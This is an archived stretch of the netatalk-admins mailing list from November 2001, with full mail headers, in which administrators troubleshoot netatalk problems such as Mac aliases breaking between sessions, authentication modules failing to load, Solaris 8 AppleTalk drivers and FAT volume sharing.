	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:48:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA24895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:48:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA24881
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:48:13 -0500 (EST)
Received: from btclick.com (mta02.btfusion.com [62.172.195.247])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA24842
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:48:11 -0500 (EST)
Received: from servant.geotek.co.uk ([213.123.213.6]) by
          btclick.com (Netscape Messaging Server 4.05) with ESMTP id
          GMP5CA04.Z97 for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001
          16:48:10 +0000 
Received: from richard.geotek.co.uk (software [192.168.0.25])
	by servant.geotek.co.uk (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id fACGf0X08857
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 16:41:00 GMT
Message-Id: <5.1.0.14.0.20011112163802.00ad9320@192.168.0.1>
X-Sender: richard@192.168.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 12 Nov 2001 16:42:52 +0000
To: netatalk-admins@umich.edu
From: Richard Chamberlain <richard@geotek.co.uk>
Subject: moving aliases
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

We've got a problem with moving aliases using the netatalk rpm package that 
comes with SuSE 7.2 (the version according to the rpm is 1.49).

Basically when a user creates an alias of a folder or file on the server 
when he restarts his mac it will point elsewhere. Mac OS versions vary from 
8.6  up to 9.2.

I've put a message on the netatalk sourceforge help forum but to no avail 
as yet.

Anyone seen anything like this before?

I thought I'd try upgrading to the latest version of netatalk, but my 
skills don't go much beyond ./configure,make,make install and that didn't work.

Any pointers would be greatly appreciated,

Many thanks,

Richard


From netatalk.administrators-errors@umich.edu  Mon Nov 12 11:49:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA12706
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 11:49:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 11:49:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23043
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 11:49:30 -0500 (EST)
Received: from wizard.wgbh.org (wizard.wgbh.org [198.147.175.86])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA22909
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:49:26 -0500 (EST)
Received: from 10.125.10.23 ([10.125.10.23])
	by wizard.wgbh.org (8.9.3/8.8.7) with SMTP id LAA27809
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 11:46:44 -0500
Date: 12 Nov 2001 11:54:33 -0500
Message-ID: <-1206556425gus_holcomb@wgbh.org>
Sender: Gus holcomb <gus_holcomb@wgbh.org>
From: Gus holcomb <gus_holcomb@wgbh.org>
Subject: solaris 8 and DDP
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gus holcomb <gus_holcomb@wgbh.org>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA12706

Hello Everyone,
  I'm sure I'm beating a dead horse here. However, I've found many mentions of this problem and no solutions so far.

I can't get the netatalk-971027 kinstall target to work. I get the standard " DDP added to system but failed to attach" error.

Similarly, the versions of 1.5pre I've tried (5,6,7,8) don't even have a kinstall target. 

Does anyone have a solution for getting netatalk (or any other appletalk drivers for that matter) to work on Solaris 8? (currently using the sun workshop 6 rel 2 compilers on a netra x1).

Thank You,
-Gus Holcomb


From netatalk.administrators-errors@umich.edu  Mon Nov 12 12:07:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13598
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 12:07:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA27190
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 12:07:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA27183
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 12:07:18 -0500 (EST)
Received: from mr4.cc.ic.ac.uk (mr4.cc.ic.ac.uk [155.198.5.114])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA27160
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 12:07:17 -0500 (EST)
Received: from icex9.cc.ic.ac.uk ([155.198.3.9])
	by mr4.cc.ic.ac.uk with esmtp (Exim 3.31 #1)
	id 163KYG-0001CU-04
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 17:07:16 +0000
Received: from [155.198.13.55] (libnt35.lib.ic.ac.uk [155.198.13.55]) by icex9.cc.ic.ac.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id WGNXRASH; Mon, 12 Nov 2001 17:07:16 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 12 Nov 2001 17:08:52 +0000
Subject: Re: moving aliases
From: Bob Hobbs <i@bobhobbs.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B815B2A3.1D24%i@bobhobbs.com>
In-Reply-To: <5.1.0.14.0.20011112163802.00ad9320@192.168.0.1>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 12/11/01 4:42 pm, Richard Chamberlain wrote:

> Basically when a user creates an alias of a folder or file on the server
> when he restarts his mac it will point elsewhere. Mac OS versions vary from
> 8.6  up to 9.2.

Mac aliases point to files or directories by a reference number, rather than
by name; for files on UN*X volumes netatalk has to make up those reference
numbers out of thin air, and as I understand it, it doesn't remember what
values it used from one session to another.

I've never even tried it but the impression I get is that you can't make
aliases to anything on a netatalk share... There's some info about this
scattered around the netatalk documentation (in the doc directory in the
source distribution, and in the man pages).  I seem to remember there's a
build option related to this issue, which might help you (sorry to not be
more specific).

--Bob


From netatalk.administrators-errors@umich.edu  Mon Nov 12 12:41:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14910
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 12:41:10 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA24147
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 12:41:10 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA24120
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 12:41:09 -0500 (EST)
Received: from grays.ctea.com (grays.ctea.com [208.35.60.140])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA23982
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 12:41:04 -0500 (EST)
Received: (qmail 4254 invoked from network); 12 Nov 2001 17:38:33 -0000
Received: from shpk4501.ctea.com (root@199.117.188.88)
  by grays.ctea.com with SMTP; 12 Nov 2001 17:38:33 -0000
Received: from hain-celestial.com (sneetch.ctea.com [199.117.189.89])
	by shpk4501.ctea.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id KAA26872
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 10:38:26 -0700 (MST)
Message-ID: <3BF0098F.7030007@hain-celestial.com>
Date: Mon, 12 Nov 2001 10:40:31 -0700
From: Dave Higgins <dhiggins@hain-celestial.com>
Organization: Hain-Celestial
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011012
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Trouble with Netatalk
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I am having a lot of trouble getting Netatalk to work on my server 
(Linux).  I finally appear on the Chooser, but I cannot get access to 
the share.  I have tried renaming the share to the machine name, but no 
luck.  

I have tried rebuilding with shadow, just with --prefix only and as 
below (currently running).  

./configure --prefix=/opt/netatalk --with-tcp-wrappers --enable-redhat 
--disable-shell-check

afpd.conf
"newfs1" -uamlist uams_passwd.so -notcp

atalkd.conf
eth1 -phase 2 -net 3700-3710 -addr 3703.163 -zone "macs"

AppleVolumes.default
/groups                 "Groups"

lsmod | grep apple
appletalk              25849  11  (autoclean)

hostname
broncos

afpd -F /netatalk/etc/afpd.conf
Nov 12 10:26:11 broncos afpd[20989]: main: atp_open: Cannot assign 
requested address
Nov 12 10:26:11 broncos afpd[20989]: uam_load(uams_passwd.so): 
mod_symbol error
for symbol uams_passwd
Nov 12 10:26:11 broncos afpd[20989]: uam: uams_passwd.so load failure
Nov 12 10:26:11 broncos afpd[20989]: main: no servers configured: Cannot 
assign
requested address

atalkd
Nov 12 10:26:45 broncos atalkd[20993]: restart (1.5pre7)
Nov 12 10:26:47 broncos atalkd[20993]: zip_getnetinfo for eth1
Nov 12 10:26:47 broncos atalkd[20993]: zip_packet configured eth1 from 
3700.14
Nov 12 10:26:49 broncos atalkd[20993]: rtmp_packet gateway 3700.128 up
Nov 12 10:26:51 broncos atalkd[20993]: rtmp_packet gateway 3700.14 up
Nov 12 10:26:55 broncos atalkd[20993]: zip skip reply 3700-3710 from 
3700.128 (no query)
Nov 12 10:27:16 broncos atalkd[20993]: ready 0/0/0

The final slap is a message on the Mac is:
User Authentication Method required by this server can't be found.
Please check AppleShare folder in Extensions

Any help would be appreciated.
Thanks,

-- 
David Higgins
Systems Administrator
RHI Consulting
303-581-1304
--
A motion to adjourn is always in order.



From netatalk.administrators-errors@umich.edu  Mon Nov 12 14:10:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA18604
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 14:10:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA00822
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 14:10:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA00798
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 14:10:38 -0500 (EST)
Received: from grays.ctea.com (grays.ctea.com [208.35.60.140])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA00681
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 14:10:33 -0500 (EST)
Received: (qmail 12415 invoked from network); 12 Nov 2001 19:08:01 -0000
Received: from shpk4501.ctea.com (root@199.117.188.88)
  by grays.ctea.com with SMTP; 12 Nov 2001 19:08:01 -0000
Received: from hain-celestial.com (sneetch.ctea.com [199.117.189.89])
	by shpk4501.ctea.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id MAA06536
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 12:07:54 -0700 (MST)
Message-ID: <3BF01E87.7080305@hain-celestial.com>
Date: Mon, 12 Nov 2001 12:09:59 -0700
From: Dave Higgins <dhiggins@hain-celestial.com>
Organization: Hain-Celestial
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011012
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Trouble with Netatalk
References: <3BF0098F.7030007@hain-celestial.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I just tried uams_guest.so and I am able to connect (with a bit too much 
priviledge), but I still get errors when I try uams_passwd.so.  I 
rebuilt with --with-shadow and again, no luck.  I'm going to try with 
--enable-pam and see if the clrtxt.so and dhx.so relink and see what 
happens there.

Thanks,

Dave Higgins wrote:

> I am having a lot of trouble getting Netatalk to work on my server 
> (Linux).  I finally appear on the Chooser, but I cannot get access to 
> the share.  I have tried renaming the share to the machine name, but no 
> luck. 
> I have tried rebuilding with shadow, just with --prefix only and as 
> below (currently running). 
> ./configure --prefix=/opt/netatalk --with-tcp-wrappers --enable-redhat 
> --disable-shell-check
> 
> afpd.conf
> "newfs1" -uamlist uams_passwd.so -notcp
> 
> atalkd.conf
> eth1 -phase 2 -net 3700-3710 -addr 3703.163 -zone "macs"
> 
> AppleVolumes.default
> /groups                 "Groups"
> 
> lsmod | grep apple
> appletalk              25849  11  (autoclean)
> 
> hostname
> broncos
> 
> afpd -F /netatalk/etc/afpd.conf
> Nov 12 10:26:11 broncos afpd[20989]: main: atp_open: Cannot assign 
> requested address
> Nov 12 10:26:11 broncos afpd[20989]: uam_load(uams_passwd.so): 
> mod_symbol error
> for symbol uams_passwd
> Nov 12 10:26:11 broncos afpd[20989]: uam: uams_passwd.so load failure
> Nov 12 10:26:11 broncos afpd[20989]: main: no servers configured: Cannot 
> assign
> requested address
> 
> atalkd
> Nov 12 10:26:45 broncos atalkd[20993]: restart (1.5pre7)
> Nov 12 10:26:47 broncos atalkd[20993]: zip_getnetinfo for eth1
> Nov 12 10:26:47 broncos atalkd[20993]: zip_packet configured eth1 from 
> 3700.14
> Nov 12 10:26:49 broncos atalkd[20993]: rtmp_packet gateway 3700.128 up
> Nov 12 10:26:51 broncos atalkd[20993]: rtmp_packet gateway 3700.14 up
> Nov 12 10:26:55 broncos atalkd[20993]: zip skip reply 3700-3710 from 
> 3700.128 (no query)
> Nov 12 10:27:16 broncos atalkd[20993]: ready 0/0/0
> 
> The final slap is a message on the Mac is:
> User Authentication Method required by this server can't be found.
> Please check AppleShare folder in Extensions
> 
> Any help would be appreciated.
> Thanks,
> 


-- 
David Higgins
Systems Administrator
RHI Consulting
303-581-1304
--
A motion to adjourn is always in order.


From netatalk.administrators-errors@umich.edu  Mon Nov 12 15:19:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23814
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 15:19:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA23090
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 15:19:27 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA23071
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 15:19:26 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA23020
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:19:25 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 163NYC-0007Ip-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:24 +0100
Received: from [212.184.146.196] (helo=[212.184.146.196])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 163NY7-0005F2-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:21 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 12 Nov 2001 21:19:06 +0100
Subject: Re: 1.56 versus 1.58
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B815DE58.2CF5D%ts@visual-s.de>
In-Reply-To: <3BEF88DD.4138BF85@euc.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Looks like you are running Netatalk as provided by the
SuSE 7.3 distro? (patched 1.5pre6 CVS checkout)

You might want to provide some pointers onto problems you're
experiencing and compile time options used, otherwise nobody
knows if pre8 would eventually do better for you.

-Thomas

On 2001-11-12 09:31 +0100, Mac Conin wrote:

> we'are running happily (nearly) netatlk. 1.56 on with suse and an ibm
> netfinity-server.
> 
> Are there any benefits that makes real sense changing the (running)
> system to 1.58?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Nov 12 15:19:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23842
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 15:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA16070
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 15:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA16063
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 15:19:36 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA16038
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:19:35 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 163NYM-0007Jy-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:34 +0100
Received: from [212.184.146.196] (helo=[212.184.146.196])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 163NYC-0005F2-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:33 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 12 Nov 2001 21:19:06 +0100
Subject: Re: "The item cannot be written.."
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B815E30B.2CF60%ts@visual-s.de>
In-Reply-To: <20011112210100.1adab5eb.inc@fastmedia.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Don't know specifics about FAT volumes, but even the current
pre8 has issues with other non-native volumes as well.

In my understanding, FAT support is just meant as a way
to access files residing on non-native media from a Linux box,
but it isn't considered a suitable file system for Linux
boxes and therefore of cause not suitable to be shared out r/w.

Though in an ideal world your setup should work, I'd strongly
recommend to reconsider your server/workflow layout -- I don't
believe any of the Netatalk developers is willing to spent
time on FAT volume support unless the next release version
once gets rolled out. Even then, there is quite large to-do list
remaining, you should better give up on FAT support.

-Thomas

On 2001-11-12 11:01 +0100, cpaul wrote:

> On Mon, 12 Nov 2001 20:44:12 +1100 cpaul wrote:
> 
>> the linux directory is on a fat volume.
> 
> i can't reproduce the problem if copying to a ext2 volume.
> 
> is there a known problem with fat?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Nov 12 15:19:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 15:19:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA15448
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 15:19:39 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA15419
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 15:19:38 -0500 (EST)
Received: from mout04.kundenserver.de (mout04.kundenserver.de [195.20.224.89])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA15374
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:19:36 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout04.kundenserver.de with esmtp (Exim 2.12 #2)
	id 163NYN-0001yX-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:35 +0100
Received: from [212.184.146.196] (helo=[212.184.146.196])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 163NYM-0005F2-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:35 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 12 Nov 2001 21:19:06 +0100
Subject: Re: Intergrating an MS Windows classroom with an Apple classroom?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B815E591.2CF62%ts@visual-s.de>
In-Reply-To: <1005581606.29801.25.camel@comp10574>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

So, wouldn't deploying a streams-aware file system (HFS, HFS+, NTFS, and
others I don't know about) be the natural way to go for a cross platform
share? -- admittedly, I have no idea if Win NT uses streams for Macintosh
metdata.

-Thomas

On 2001-11-12 17:13 +0100, Matthew Keller wrote:

> On Mon, 2001-11-12 at 10:51, Jamie Flournoy wrote:
>> I guess the next best thing would be for SAMBA to be .AppleDouble file aware,
>> so that it would move or delete those files itself. Potentially SAMBA could
>> be altered to read within AppleSingle files, but I have a feeling that would
>> cause performance problems doing directory listings when trying to give the
>> correct file size for each fle (it would have to look inside every file and
>> check the size of the data fork).
> 
> There is elementary support within Samba for this, and I am working on
> some other Netatalk <-> Samba things. It's not tough, it's just time
> consuming. As for your "feeling", yes, that method would be very time
> consuming and resource intensive - Effectively "penalizing" Samba for
> playing nice with Netatalk. The stuff I'm working on will never do that
> (unless someone else makes it so), but will support
> moving/copying/deleting Netatalk metacrap (no offense) from Samba. I'm
> also working on cooperative locking using Samba's locking scheme, and
> also an optional unified configuration interface (eg. when you create a
> share, it's a Samba AND Netatalk share, etc.).

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Nov 12 15:19:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23878
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 15:19:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA15458
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 15:19:40 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA15447
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 15:19:39 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA15398
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:19:37 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 163NYO-0007K4-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:36 +0100
Received: from [212.184.146.196] (helo=[212.184.146.196])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 163NYN-0005F2-00
	for netatalk-admins@umich.edu; Mon, 12 Nov 2001 21:19:36 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 12 Nov 2001 21:19:06 +0100
Subject: Re: moving aliases
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B815EA02.2CF64%ts@visual-s.de>
In-Reply-To: <5.1.0.14.0.20011112163802.00ad9320@192.168.0.1>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

The 1.49 rpm that comes with SuSE 7.2 is compiled using the lastdid option.
Means Macintosh directory/file ID numbers (DIDs) for folders/files are
computed just in RAM by the Netatalk server for every single client process
and therefore are valid for just a single session.

The developer team is busy working onto the problem (tying DID numbers to
Linux node IDs or a separate database), but there is no foolproof solution
available yet. If you are an experienced admin, you might want to check out
a recent copy from CVS at sourceforge and play around.

-Thomas

On 2001-11-12 17:42 +0100, Richard Chamberlain wrote:

> We've got a problem with moving aliases using the netatalk rpm package that
> comes with SuSE 7.2 (the version according to the rpm is 1.49).
> 
> Basically when a user creates an alias of a folder or file on the server
> when he restarts his mac it will point elsewhere. Mac OS versions vary from
> 8.6  up to 9.2.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Nov 12 15:55:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26259
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 15:55:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA23058
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 12 Nov 2001 15:55:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA23042
	for netatalk.administrators-members@umich.edu; Mon, 12 Nov 2001 15:55:18 -0500 (EST)
Received: from wizard.wgbh.org (wizard.wgbh.org [198.147.175.86])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA22979
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:55:16 -0500 (EST)
Received: from 10.125.10.23 ([10.125.10.23])
	by wizard.wgbh.org (8.9.3/8.8.7) with SMTP id PAA20360
	for <netatalk-admins@umich.edu>; Mon, 12 Nov 2001 15:52:34 -0500
Date: 12 Nov 2001 16:00:23 -0500
Message-ID: <-1206541675gus_holcomb@wgbh.org>
Sender: Gus Holcomb <gus_holcomb@wgbh.org>
From: Gus Holcomb <gus_holcomb@wgbh.org>
Subject: authentication protocols?
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.0.4 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gus Holcomb <gus_holcomb@wgbh.org>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA26259

I've gotten netatalk working with appleshare over IP, which is all i really needed. So I'm happy with that. Unfortunatly, I can't get the authentication schemes to work appropriatly.

When I use 'AFPD_UAMLIST="-U uams_clrtxt.so,uams_randnum.so"' in netatalk.conf. Appletalk gives me an error citing that it doesn't have an appropriate authentication protocal. When I add uams_guest.so to the list. Logging in as guest is the *only* option. I've created a user with afppasswd, and that makes no difference.

Does anyone have any clues?

Thanks,
-Gus Holcomb

again, this is netatalk 1.5pre8 running on solaris 8 with only afpd running (atalkd is for sissies =)


From netatalk.administrators-errors@umich.edu  Mon Nov 12 16:23:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28149
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 12 Nov 2001 16:23:16 -0500 (EST)
